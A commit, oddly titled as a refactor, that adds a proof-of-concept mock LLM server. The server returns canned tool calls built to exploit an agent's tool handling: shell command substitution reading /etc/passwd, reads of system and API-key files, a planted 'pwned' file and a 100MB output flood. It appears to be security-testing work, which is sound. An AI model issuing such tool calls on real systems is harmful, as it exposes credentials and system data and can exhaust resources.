Refactor code structure for improved readability and maintainability
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168
poc/mock_llm_server.py
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168
poc/mock_llm_server.py
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"""
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Mock LLM server that returns predefined tool calls for security testing.
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Simulates OpenAI-compatible API responses that trigger vulnerable code paths.
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"""
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import json
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import uuid
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from fastapi import FastAPI, Request
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from fastapi.responses import JSONResponse
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app = FastAPI(title="Mock LLM Server for Security POC")
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# Predefined responses that trigger specific vulnerabilities
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EXPLOIT_RESPONSES = {
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"shell_injection": {
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"model": "gpt-4",
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"choices": [{
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"message": {
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"role": "assistant",
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"content": None,
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"tool_calls": [{
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"id": "call_shell_inject",
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"type": "function",
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"function": {
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"name": "exec",
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"arguments": json.dumps({
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"command": "echo $(cat /etc/passwd)" # Command substitution bypass
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})
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}
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}]
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},
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"finish_reason": "tool_calls"
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}],
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"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
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},
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"path_traversal_read": {
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"model": "gpt-4",
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"choices": [{
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"message": {
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"role": "assistant",
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"content": None,
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"tool_calls": [{
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"id": "call_path_read",
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"type": "function",
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"function": {
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"name": "read_file",
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"arguments": json.dumps({
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"path": "/etc/passwd"
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})
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}
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}]
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},
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"finish_reason": "tool_calls"
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}],
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"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
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},
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"path_traversal_write": {
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"model": "gpt-4",
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"choices": [{
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"message": {
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"role": "assistant",
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"content": None,
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"tool_calls": [{
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"id": "call_path_write",
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"type": "function",
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"function": {
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"name": "write_file",
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"arguments": json.dumps({
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"path": "/tmp/poc_pwned.txt",
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"content": "This file was created via path traversal vulnerability"
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})
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}
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}]
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},
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"finish_reason": "tool_calls"
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}],
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"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
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},
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"sensitive_file_read": {
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"model": "gpt-4",
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"choices": [{
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"message": {
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"role": "assistant",
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"content": None,
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"tool_calls": [{
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"id": "call_sensitive_read",
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"type": "function",
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"function": {
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"name": "read_file",
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"arguments": json.dumps({
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"path": "/sensitive/api_keys.txt"
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})
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}
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}]
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},
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"finish_reason": "tool_calls"
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}],
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"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
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},
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"resource_exhaustion": {
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"model": "gpt-4",
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"choices": [{
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"message": {
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"role": "assistant",
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"content": None,
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"tool_calls": [{
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"id": "call_dos",
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"type": "function",
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"function": {
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"name": "exec",
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"arguments": json.dumps({
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"command": "yes | head -c 100000000" # Generate 100MB output
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})
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}
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}]
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},
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"finish_reason": "tool_calls"
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}],
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"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
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}
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}
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# Current exploit mode (can be changed via API)
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current_exploit = "shell_injection"
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@app.post("/v1/chat/completions")
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async def chat_completions(request: Request):
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"""Mock OpenAI chat completions endpoint."""
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body = await request.json()
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# Check if user message contains exploit trigger
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messages = body.get("messages", [])
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for msg in messages:
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content = msg.get("content", "")
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if isinstance(content, str):
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for exploit_name in EXPLOIT_RESPONSES:
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if exploit_name in content.lower():
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response = EXPLOIT_RESPONSES[exploit_name].copy()
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response["id"] = f"chatcmpl-{uuid.uuid4().hex[:8]}"
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return JSONResponse(response)
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# Default: return current exploit response
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response = EXPLOIT_RESPONSES.get(current_exploit, EXPLOIT_RESPONSES["shell_injection"]).copy()
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response["id"] = f"chatcmpl-{uuid.uuid4().hex[:8]}"
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return JSONResponse(response)
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@app.post("/set_exploit/{exploit_name}")
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async def set_exploit(exploit_name: str):
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"""Set the current exploit mode."""
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global current_exploit
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if exploit_name in EXPLOIT_RESPONSES:
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current_exploit = exploit_name
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return {"status": "ok", "exploit": exploit_name}
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return {"status": "error", "message": f"Unknown exploit: {exploit_name}"}
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@app.get("/exploits")
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async def list_exploits():
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"""List available exploit modes."""
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return {"exploits": list(EXPLOIT_RESPONSES.keys())}
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@app.get("/health")
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async def health():
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"""Health check endpoint."""
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return {"status": "healthy", "current_exploit": current_exploit}
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